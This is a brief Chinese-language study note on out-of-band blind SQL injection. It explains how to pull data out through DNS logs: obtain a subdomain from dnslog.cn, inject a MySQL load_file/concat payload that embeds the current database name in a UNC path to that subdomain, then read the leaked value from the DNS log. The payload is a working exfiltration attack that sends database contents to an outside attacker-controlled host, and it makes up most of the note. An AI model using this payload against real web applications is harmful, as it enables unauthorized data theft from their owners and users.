DNSlog 注入简单笔记

无回显的盲注可以想办法回显到 dns 日志上：

1、打开 http://www.dnslog.cn 获取域名

2、注入：

?id=1' and (select load_file(concat('//',(select database()),'.3.mw0gxd.dnslog.cn/a')))--+

3、点击刷新得到回显：